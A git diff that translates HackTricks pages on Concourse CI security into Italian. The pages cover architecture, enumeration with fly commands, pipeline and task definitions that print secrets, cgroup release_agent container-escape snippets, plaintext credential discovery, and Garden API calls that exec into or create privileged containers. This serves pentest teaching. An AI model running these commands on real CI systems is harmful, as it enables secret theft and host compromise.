diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index bcf20facf..bd22f6bee 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -2,36 +2,32 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Informazioni di Base
-Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
+Concourse ti consente di **creare pipeline** per eseguire automaticamente test, azioni e costruire immagini ogni volta che ne hai bisogno (basato sul tempo, quando accade qualcosa...)
-## Concourse Architecture
+## Architettura di Concourse
-Learn how the concourse environment is structured in:
+Scopri come è strutturato l'ambiente concourse in:
{{#ref}}
concourse-architecture.md
{{#endref}}
-## Concourse Lab
+## Laboratorio Concourse
-Learn how you can run a concourse environment locally to do your own tests in:
+Scopri come puoi eseguire un ambiente concourse localmente per fare i tuoi test in:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
-## Enumerate & Attack Concourse
+## Enumerare e Attaccare Concourse
-Learn how you can enumerate the concourse environment and abuse it in:
+Scopri come puoi enumerare l'ambiente concourse e abusarne in:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index d70167906..ff6481018 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -1,42 +1,38 @@
-# Concourse Architecture
+# Architettura di Concourse
-## Concourse Architecture
+## Architettura di Concourse
{{#include ../../banners/hacktricks-training.md}}
-[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
+[**Dati rilevanti dalla documentazione di Concourse:**](https://concourse-ci.org/internals.html)
-### Architecture
+### Architettura
.png>)
-#### ATC: web UI & build scheduler
+#### ATC: interfaccia web e pianificatore di build
-The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
+L'ATC è il cuore di Concourse. Esegue la **web UI e API** ed è responsabile di tutta la **pianificazione** delle pipeline. Si **collega a PostgreSQL**, che utilizza per memorizzare i dati delle pipeline (inclusi i log di build).
-The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
+La responsabilità del [checker](https://concourse-ci.org/checker.html) è quella di controllare continuamente nuove versioni delle risorse. Il [scheduler](https://concourse-ci.org/scheduler.html) è responsabile della pianificazione delle build per un lavoro e il [build tracker](https://concourse-ci.org/build-tracker.html) è responsabile dell'esecuzione di qualsiasi build pianificata. Il [garbage collector](https://concourse-ci.org/garbage-collector.html) è il meccanismo di pulizia per rimuovere oggetti non utilizzati o obsoleti, come contenitori e volumi.
-#### TSA: worker registration & forwarding
+#### TSA: registrazione dei worker e inoltro
-The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
+La TSA è un **server SSH personalizzato** utilizzato esclusivamente per **registrare** in modo sicuro i [**worker**](https://concourse-ci.org/internals.html#architecture-worker) con l'[ATC](https://concourse-ci.org/internals.html#component-atc).
-The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
+La TSA per **default ascolta sulla porta `2222`**, ed è solitamente collocata insieme all'[ATC](https://concourse-ci.org/internals.html#component-atc) e si trova dietro un bilanciatore di carico.
-The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
+La **TSA implementa CLI attraverso la connessione SSH,** supportando [**questi comandi**](https://concourse-ci.org/internals.html#component-tsa).
-#### Workers
+#### Worker
-In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+Per eseguire compiti, Concourse deve avere alcuni worker. Questi worker **si registrano** tramite la [TSA](https://concourse-ci.org/internals.html#component-tsa) e eseguono i servizi [**Garden**](https://github.com/cloudfoundry-incubator/garden) e [**Baggageclaim**](https://github.com/concourse/baggageclaim).
-- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
-- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
+- **Garden**: Questo è il **Container Manage API**, solitamente eseguito sulla **porta 7777** tramite **HTTP**.
+- **Baggageclaim**: Questo è il **Volume Management API**, solitamente eseguito sulla **porta 7788** tramite **HTTP**.
-## References
+## Riferimenti
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 4b778a804..c7fbda98d 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -6,213 +6,202 @@
### User Roles & Permissions
-Concourse comes with five roles:
+Concourse viene fornito con cinque ruoli:
-- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
-- **owner**: Team owners can **modify everything within the team**.
-- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
-- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
-- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+- _Concourse_ **Admin**: Questo ruolo è assegnato solo ai proprietari del **team principale** (team concourse iniziale predefinito). Gli admin possono **configurare altri team** (ad es.: `fly set-team`, `fly destroy-team`...). I permessi di questo ruolo non possono essere influenzati da RBAC.
+- **owner**: I proprietari del team possono **modificare tutto all'interno del team**.
+- **member**: I membri del team possono **leggere e scrivere** all'interno delle **risorse del team** ma non possono modificare le impostazioni del team.
+- **pipeline-operator**: Gli operatori di pipeline possono eseguire **operazioni di pipeline** come attivare build e fissare risorse, tuttavia non possono aggiornare le configurazioni delle pipeline.
+- **viewer**: I visualizzatori del team hanno accesso **"in sola lettura" a un team** e alle sue pipeline.
> [!NOTE]
-> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Inoltre, i **permessi dei ruoli owner, member, pipeline-operator e viewer possono essere modificati** configurando RBAC (configurando più specificamente le sue azioni). Leggi di più al riguardo in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
-Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
+Nota che Concourse **raggruppa le pipeline all'interno dei Team**. Pertanto, gli utenti appartenenti a un Team saranno in grado di gestire quelle pipeline e **possono esistere diversi Team**. Un utente può appartenere a più Team e avere permessi diversi all'interno di ciascuno di essi.
### Vars & Credential Manager
-In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
-[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
-The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
-Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
+Nei file di configurazione YAML puoi configurare valori utilizzando la sintassi `((_source-name_:_secret-path_._secret-field_))`.\
+[Dal documento:](https://concourse-ci.org/vars.html#var-syntax) Il **source-name è facoltativo**, e se omesso, verrà utilizzato il [credential manager a livello di cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), oppure il valore può essere fornito [staticamente](https://concourse-ci.org/vars.html#static-vars).\
+Il **_secret-field facoltativo** specifica un campo sul segreto recuperato da leggere. Se omesso, il credential manager può scegliere di leggere un 'campo predefinito' dal credential recuperato se il campo esiste.\
+Inoltre, il _**secret-path**_ e il _**secret-field**_ possono essere racchiusi tra virgolette doppie `"..."` se **contengono caratteri speciali** come `.` e `:`. Ad esempio, `((source:"my.secret"."field:1"))` imposterà il _secret-path_ su `my.secret` e il _secret-field_ su `field:1`.
#### Static Vars
-Static vars can be specified in **tasks steps**:
-
+Le variabili statiche possono essere specificate nei **passaggi delle attività**:
```yaml
- task: unit-1.13
- file: booklit/ci/unit.yml
- vars: { tag: 1.13 }
+file: booklit/ci/unit.yml
+vars: { tag: 1.13 }
```
+Or usando i seguenti `fly` **argomenti**:
-Or using the following `fly` **arguments**:
+- `-v` o `--var` `NAME=VALUE` imposta la stringa `VALUE` come valore per la var `NAME`.
+- `-y` o `--yaml-var` `NAME=VALUE` analizza `VALUE` come YAML e lo imposta come valore per la var `NAME`.
+- `-i` o `--instance-var` `NAME=VALUE` analizza `VALUE` come YAML e lo imposta come valore per la var di istanza `NAME`. Vedi [Raggruppamento delle Pipeline](https://concourse-ci.org/instanced-pipelines.html) per saperne di più sulle var di istanza.
+- `-l` o `--load-vars-from` `FILE` carica `FILE`, un documento YAML contenente la mappatura dei nomi delle var ai valori, e li imposta tutti.
-- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
-- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
-- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
-- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
+#### Gestione delle Credenziali
-#### Credential Management
+Ci sono diversi modi in cui un **Gestore di Credenziali può essere specificato** in una pipeline, leggi come in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
+Inoltre, Concourse supporta diversi gestori di credenziali:
-There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
-Moreover, Concourse supports different credential managers:
-
-- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
-- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
-- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
-- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
-- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
-- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
-- [Caching credentials](https://concourse-ci.org/creds-caching.html)
-- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
-- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
+- [Il gestore di credenziali Vault](https://concourse-ci.org/vault-credential-manager.html)
+- [Il gestore di credenziali CredHub](https://concourse-ci.org/credhub-credential-manager.html)
+- [Il gestore di credenziali AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [Il gestore di credenziali AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Gestore di Credenziali Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [Il gestore di credenziali Conjur](https://concourse-ci.org/conjur-credential-manager.html)
+- [Caching delle credenziali](https://concourse-ci.org/creds-caching.html)
+- [Redazione delle credenziali](https://concourse-ci.org/creds-redacting.html)
+- [Riprova dei recuperi non riusciti](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
-> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
+> Nota che se hai qualche tipo di **accesso in scrittura a Concourse** puoi creare lavori per **esfiltrare quei segreti** poiché Concourse deve essere in grado di accedervi.
-### Concourse Enumeration
+### Enumerazione di Concourse
-In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
+Per enumerare un ambiente concourse devi prima **raccogliere credenziali valide** o trovare un **token autenticato** probabilmente in un file di configurazione `.flyrc`.
-#### Login and Current User enum
+#### Login e enumerazione dell'Utente Corrente
-- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-- Get configured **targets**:
- - `fly targets`
-- Get if the configured **target connection** is still **valid**:
- - `fly -t status`
-- Get **role** of the user against the indicated target:
- - `fly -t userinfo`
+- Per effettuare il login devi conoscere l'**endpoint**, il **nome del team** (il predefinito è `main`) e un **team a cui appartiene l'utente**:
+- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
+- Ottieni i **target configurati**:
+- `fly targets`
+- Verifica se la **connessione al target configurato** è ancora **valida**:
+- `fly -t status`
+- Ottieni il **ruolo** dell'utente rispetto al target indicato:
+- `fly -t userinfo`
> [!NOTE]
-> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
+> Nota che il **token API** è **salvato** in `$HOME/.flyrc` per impostazione predefinita, se stai saccheggiando una macchina potresti trovare lì le credenziali.
-#### Teams & Users
+#### Team e Utenti
-- Get a list of the Teams
- - `fly -t teams`
-- Get roles inside team
- - `fly -t get-team -n `
-- Get a list of users
- - `fly -t active-users`
+- Ottieni un elenco dei Team
+- `fly -t teams`
+- Ottieni i ruoli all'interno del team
+- `fly -t get-team -n `
+- Ottieni un elenco di utenti
+- `fly -t active-users`
-#### Pipelines
-
-- **List** pipelines:
- - `fly -t pipelines -a`
-- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- - `fly -t get-pipeline -p `
-- Get all pipeline **config declared vars**
- - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
+#### Pipeline
+- **Elenca** le pipeline:
+- `fly -t pipelines -a`
+- **Ottieni** il yaml della pipeline (**informazioni sensibili** potrebbero essere trovate nella definizione):
+- `fly -t get-pipeline -p `
+- Ottieni tutte le **var dichiarate nella configurazione della pipeline**
+- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
+- Ottieni tutti i **nomi dei segreti delle pipeline utilizzati** (se puoi creare/modificare un lavoro o dirottare un contenitore potresti esfiltrarli):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
- echo $pipename;
- fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
- echo "";
+echo $pipename;
+fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
+echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
+#### Contenitori e Lavoratori
-#### Containers & Workers
+- Elenca **lavoratori**:
+- `fly -t workers`
+- Elenca **contenitori**:
+- `fly -t containers`
+- Elenca **build** (per vedere cosa è in esecuzione):
+- `fly -t builds`
-- List **workers**:
- - `fly -t workers`
-- List **containers**:
- - `fly -t containers`
-- List **builds** (to see what is running):
- - `fly -t builds`
+### Attacchi Concourse
-### Concourse Attacks
-
-#### Credentials Brute-Force
+#### Brute-Force delle Credenziali
- admin:admin
- test:test
-#### Secrets and params enumeration
+#### Enumerazione di segreti e parametri
-In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
+Nella sezione precedente abbiamo visto come puoi **ottenere tutti i nomi e le variabili dei segreti** utilizzati dalla pipeline. Le **variabili potrebbero contenere informazioni sensibili** e il nome dei **segreti sarà utile in seguito per cercare di rubarli**.
-#### Session inside running or recently run container
-
-If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using:
+#### Sessione all'interno di un contenitore in esecuzione o recentemente eseguito
+Se hai privilegi sufficienti (**ruolo membro o superiore**) sarai in grado di **elencare pipeline e ruoli** e semplicemente ottenere una **sessione all'interno** del contenitore `/` utilizzando:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
+Con questi permessi potresti essere in grado di:
-With these permissions you might be able to:
+- **Rubare i segreti** all'interno del **container**
+- Provare a **fuggire** verso il nodo
+- Enumerare/Abusare dell'endpoint **cloud metadata** (dal pod e dal nodo, se possibile)
-- **Steal the secrets** inside the **container**
-- Try to **escape** to the node
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
-
-#### Pipeline Creation/Modification
-
-If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
+#### Creazione/Modifica della Pipeline
+Se hai privilegi sufficienti (**ruolo di membro o superiore**) sarai in grado di **creare/modificare nuove pipeline.** Controlla questo esempio:
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- echo "$SUPER_SECRET"
- sleep 1000
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+echo "$SUPER_SECRET"
+sleep 1000
+params:
+SUPER_SECRET: ((super.secret))
```
+Con la **modifica/creazione** di un nuovo pipeline sarai in grado di:
-With the **modification/creation** of a new pipeline you will be able to:
+- **Rubare** i **segreti** (facendo un echo o entrando nel container e eseguendo `env`)
+- **Evasione** al **nodo** (dandoti abbastanza privilegi - `privileged: true`)
+- Enumerare/Abusare dell'endpoint **cloud metadata** (dal pod e dal nodo)
+- **Eliminare** il pipeline creato
-- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
-- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
-- **Delete** created pipeline
-
-#### Execute Custom Task
-
-This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
+#### Esegui un Compito Personalizzato
+Questo è simile al metodo precedente, ma invece di modificare/creare un intero nuovo pipeline puoi **semplicemente eseguire un compito personalizzato** (che sarà probabilmente molto più **furtivo**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
- type: registry-image
- source:
- repository: ubuntu
+type: registry-image
+source:
+repository: ubuntu
run:
- path: sh
- args:
- - -cx
- - |
- env
- sleep 1000
+path: sh
+args:
+- -cx
+- |
+env
+sleep 1000
params:
- SUPER_SECRET: ((super.secret))
+SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
+#### Uscire verso il nodo da un'attività privilegiata
-#### Escaping to the node from privileged task
-
-In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
-
-In the following PoC we are going to use the release_agent to escape with some small modifications:
+Nelle sezioni precedenti abbiamo visto come **eseguire un'attività privilegiata con concourse**. Questo non darà al contenitore esattamente lo stesso accesso del flag privilegiato in un contenitore docker. Ad esempio, non vedrai il dispositivo del filesystem del nodo in /dev, quindi l'uscita potrebbe essere più "complessa".
+Nel seguente PoC useremo il release_agent per uscire con alcune piccole modifiche:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
-
> [!WARNING]
-> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
+> Come avrai notato, questo è solo un [**escape regolare del release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) modificando semplicemente il percorso del cmd nel nodo
-#### Escaping to the node from a Worker container
-
-A regular release_agent escape with a minor modification is enough for this:
+#### Uscire verso il nodo da un contenitore Worker
+Un escape regolare del release_agent con una modifica minore è sufficiente per questo:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
+#### Uscire verso il nodo dal contenitore Web
-#### Escaping to the node from the Web container
-
-Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
-
-However, it stores **local credentials in clear text**:
+Anche se il contenitore web ha alcune difese disabilitate, **non viene eseguito come un comune contenitore privilegiato** (ad esempio, **non puoi** **montare** e le **capacità** sono molto **limitate**, quindi tutti i modi facili per uscire dal contenitore sono inutili).
+Tuttavia, memorizza **credenziali locali in chiaro**:
```bash
cat /concourse-auth/local-users
test:test
@@ -319,11 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
+Puoi utilizzare quelle credenziali per **accedere al server web** e **creare un contenitore privilegiato ed evadere al nodo**.
-You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
-
-In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
-
+Nell'ambiente puoi anche trovare informazioni per **accedere all'istanza postgresql** che concourse utilizza (indirizzo, **nome utente**, **password** e database tra le altre informazioni):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -344,39 +327,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
-
-#### Abusing Garden Service - Not a real Attack
+#### Abusare del Servizio Garden - Non un vero Attacco
> [!WARNING]
-> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
+> Queste sono solo alcune note interessanti sul servizio, ma poiché ascolta solo su localhost, queste note non presenteranno alcun impatto che non abbiamo già sfruttato prima
-By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
+Per impostazione predefinita, ogni worker di concourse eseguirà un servizio [**Garden**](https://github.com/cloudfoundry/garden) sulla porta 7777. Questo servizio è utilizzato dal Web master per indicare al worker **cosa deve eseguire** (scaricare l'immagine ed eseguire ogni attività). Questo sembra piuttosto interessante per un attaccante, ma ci sono alcune buone protezioni:
-- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
-- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
-
-Concourse workers run with high container privileges:
+- È **esposto solo localmente** (127..0.0.1) e penso che quando il worker si autentica contro il Web con il servizio SSH speciale, viene creato un tunnel in modo che il server web possa **comunicare con ogni servizio Garden** all'interno di ogni worker.
+- Il server web **monitora i container in esecuzione ogni pochi secondi**, e i container **inaspettati** vengono **eliminati**. Quindi, se vuoi **eseguire un container personalizzato**, devi **manipolare** la **comunicazione** tra il server web e il servizio garden.
+I worker di Concourse vengono eseguiti con privilegi elevati sui container:
```
Container Runtime: docker
Has Namespaces:
- pid: true
- user: false
+pid: true
+user: false
AppArmor Profile: kernel
Capabilities:
- BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
+BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-
-However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+Tuttavia, tecniche come **mounting** il dispositivo /dev del nodo o release_agent **non funzioneranno** (poiché il vero dispositivo con il filesystem del nodo non è accessibile, solo uno virtuale). Non possiamo accedere ai processi del nodo, quindi fuggire dal nodo senza exploit del kernel diventa complicato.
> [!NOTE]
-> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
+> Nella sezione precedente abbiamo visto come fuggire da un contenitore privilegiato, quindi se possiamo **eseguire** comandi in un **contenitore privilegiato** creato dal **lavoratore** **corrente**, potremmo **fuggire al nodo**.
-Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
-
-**Getting inside a running privileged container**
+Nota che giocando con concourse ho notato che quando un nuovo contenitore viene generato per eseguire qualcosa, i processi del contenitore sono accessibili dal contenitore del lavoratore, quindi è come se un contenitore creasse un nuovo contenitore al suo interno.
+**Entrare in un contenitore privilegiato in esecuzione**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
+**Creazione di un nuovo container privilegiato**
-**Creating a new privileged container**
-
-You can very easily create a new container (just run a random UID) and execute something on it:
-
+Puoi creare molto facilmente un nuovo container (basta eseguire un UID casuale) ed eseguire qualcosa su di esso:
```bash
curl -X POST http://127.0.0.1:7777/containers \
- -H 'Content-Type: application/json' \
- -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
+-H 'Content-Type: application/json' \
+-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
